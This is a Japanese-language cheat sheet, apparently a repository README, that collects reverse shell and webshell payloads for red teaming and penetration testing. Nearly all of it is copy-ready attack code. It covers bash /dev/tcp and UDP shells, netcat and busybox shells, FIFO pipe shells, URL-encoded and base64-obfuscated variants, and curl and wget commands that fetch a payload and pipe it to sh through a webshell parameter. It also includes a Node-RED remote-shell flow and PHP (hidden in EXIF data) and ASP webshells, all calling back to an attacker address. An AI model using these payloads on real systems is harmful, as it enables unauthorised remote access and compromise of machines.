Offensive Reverse Shell (チートシート)

Offensive Reverse Shell (チートシート) へようこそ。これは レッドチームオペレーション、ペネトレーションテスト、セキュリティリサーチ のために特化して厳選された包括的なリポジトリです。このリポジトリには、多様なシナリオや環境に適合するよう、さまざまな言語と構成で作成された各種の リバースシェル ペイロードが含まれています。

[!WARNING] このリポジトリ内のすべてのコンテンツは、教育目的、および実環境か CTF かを問わず管理された環境における許可されたセキュリティテストのみを厳格に目的としています。

目次

• Bash
• Netcat
  • Netcat Linux
  • Netcat Windows
• cURL
• Wget
• Node-RED
• WebShells
  • Exif Data
  • ASP WebShell
  • PHP WebShell
    • GET
    • POST
    • Chain Filter
    • Log Poisoning WebShell
      • SSH
      • FTP
      • HTTP
      • RSYNC
• Server Side Template Injection (SSTI)
• UnrealIRCd
• Exif Data
• Shellshock
  • SSH
  • HTTP
    • HTTP 500 Internal Server Error
• CMS
  • WordPress
  • October
  • Jenkins
    • Windows
    • Linux
• Perl
• Python
• Python3
• PHP
• Ruby
• Xterm
• Ncat
• Socat
• PowerShell
• Awk
• Gawk
• Golang
• Telnet
• Java
• Node
• Msfvenom
  • Web Payloads
    • PHP
    • WAR (Tomcat)
    • JAR
    • JSP
    • ASPX
  • Linux Payloads
    • Listener Netcat
    • Listener Metasploit Multi Handler
  • Windows Payloads
    • Listener Netcat
    • Listener Metasploit Multi Handler

---

Bash

TCP

-i

#sh
sh -i >& /dev/tcp/192.168.1.2/443 0>&1
/bin/sh -i >& /dev/tcp/192.168.1.2/443 0>&1
#bash
bash -i >& /dev/tcp/192.168.1.2/443 0>&1
/bin/bash -i >& /dev/tcp/192.168.1.2/443 0>&1

196

#sh
0<&196;exec 196<>/dev/tcp/192.168.1.2/443; sh <&196 >&196 2>&196
0<&196;exec 196<>/dev/tcp/192.168.1.2/443; /bin/sh <&196 >&196 2>&196
#bash
0<&196;exec 196<>/dev/tcp/192.168.1.2/443; bash <&196 >&196 2>&196
0<&196;exec 196<>/dev/tcp/192.168.1.2/443; /bin/bash <&196 >&196 2>&196

read line

exec 5<>/dev/tcp/192.168.1.2/443;cat <&5 | while read line; do $line 2>&5 >&5; done

5

#sh
sh -i 5<> /dev/tcp/192.168.1.2/443 0<&5 1>&5 2>&5
/bin/sh -i 5<> /dev/tcp/192.168.1.2/443 0<&5 1>&5 2>&5
#bash
bash -i 5<> /dev/tcp/192.168.1.2/443 0<&5 1>&5 2>&5
/bin/bash -i 5<> /dev/tcp/192.168.1.2/443 0<&5 1>&5 2>&5

-c

bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'
#basic url encode
bash -c 'bash -i >%26 /dev/tcp/192.168.1.2/443 0>%261'
#full url encode
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.2%2F443%200%3E%261%27

UDP

#sh
sh -i >& /dev/udp/192.168.1.2/443 0>&1
/bin/sh -i >& /dev/udp/192.168.1.2/443 0>&1
#bash
bash -i >& /dev/udp/192.168.1.2/443 0>&1
/bin/bash -i >& /dev/udp/192.168.1.2/443 0>&1

Netcat

Netcat Linux

-e

#sh
nc 192.168.1.2 443 -e sh
nc 192.168.1.2 443 -e /bin/sh
#bash
nc 192.168.1.2 443 -e bash
nc 192.168.1.2 443 -e /bin/bash

-c

#sh
nc -c sh 192.168.1.2 443
nc -c /bin/sh 192.168.1.2 443
#bash
nc -c bash 192.168.1.2 443
nc -c /bin/bash 192.168.1.2 443

NO -e -c

#1) create FIFO pipe (pipeline)
mknod /tmp/backpipe p
#2) reverse shell
/bin/sh 0</tmp/backpipe | nc 192.168.1.2 443 1>/tmp/backpipe

BusyBox

#sh
busybox nc 192.168.1.2 443 -e sh
busybox nc 192.168.1.2 443 -e /bin/sh
#bash
busybox nc 192.168.1.2 443 -e bash
busybox nc 192.168.1.2 443 -e /bin/bash
#not space
busybox+nc+192.168.1.2+443+-e+sh
busybox${IFS}nc${IFS}192.168.1.2${IFS}443${IFS}-e${IFS}sh

fifo

#sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.1.2 443 >/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.2 443 >/tmp/f
#bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.1.2 443 >/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.1.2 443 >/tmp/f
#url encode
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.1.2%20443%20%3E%2Ftmp%2Ff

#base64
#atacker
base64 -w 0 <<< 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.2 443 >/tmp/f'
cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTkyLjE2OC4xLjIgNDQzID4vdG1wL2YK
nc -lvnp 443
#victim
echo 'cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTkyLjE2OC4xLjIgNDQzID4vdG1wL2YK' |base64 -d |sh
#or
http://192.168.1.3/cmd.php?cmd=echo 'cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTkyLjE2OC4xLjIgNDQzID4vdG1wL2YK' |base64 -d |sh

Netcat Windows

nc.exe -e cmd 192.168.1.2 443
#smbserver
cp $(locate nc.exe) . && impacket-smbserver a $(pwd) -smb2support
\\192.168.1.2\a\nc.exe -e cmd 192.168.1.2 443

cURL

#atacker
echo "nc -e /bin/sh 192.168.1.2 443" > index.html && python3 -m http.server 80
nc -lvnp 443
#victim
http://192.168.1.3/cmd.php?cmd=curl 192.168.1.2/index.html|sh

Wget

#atacker
echo "nc -e /bin/sh 192.168.1.2 443" > index.html && python3 -m http.server 80
nc -lvnp 443
#victim
http://192.168.1.3/cmd.php?cmd=wget -qO- 192.168.1.2/index.html|sh

Node-RED

[{"id":"7235b2e6.4cdb9c","type":"tab","label":"Flow 1"},{"id":"d03f1ac0.886c28","type":"tcp out","z":"7235b2e6.4cdb9c","host":"","port":"","beserver":"reply","base64":false,"end":false,"name":"","x":786,"y":350,"wires":[]},{"id":"c14a4b00.271d28","type":"tcp in","z":"7235b2e6.4cdb9c","name":"","server":"client","host":"192.168.1.2","port":"443","datamode":"stream","datatype":"buffer","newline":"","topic":"","base64":false,"x":281,"y":337,"wires":[["4750d7cd.3c6e88"]]},{"id":"4750d7cd.3c6e88","type":"exec","z":"7235b2e6.4cdb9c","command":"","addpay":true,"append":"","useSpawn":"false","timer":"","oldrc":false,"name":"","x":517,"y":362.5,"wires":[["d03f1ac0.886c28"],["d03f1ac0.886c28"],["d03f1ac0.886c28"]]}]

WebShells

ExifデータWebShell

exiftool -Comment='<?php system($_GET['cmd']); ?>' filename.png
mv filename.png filename.php.png

ASP WebShell

<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>

PHP WebShell

Chain Filter

http://192.168.1.2/file.php?file="paste chain filter"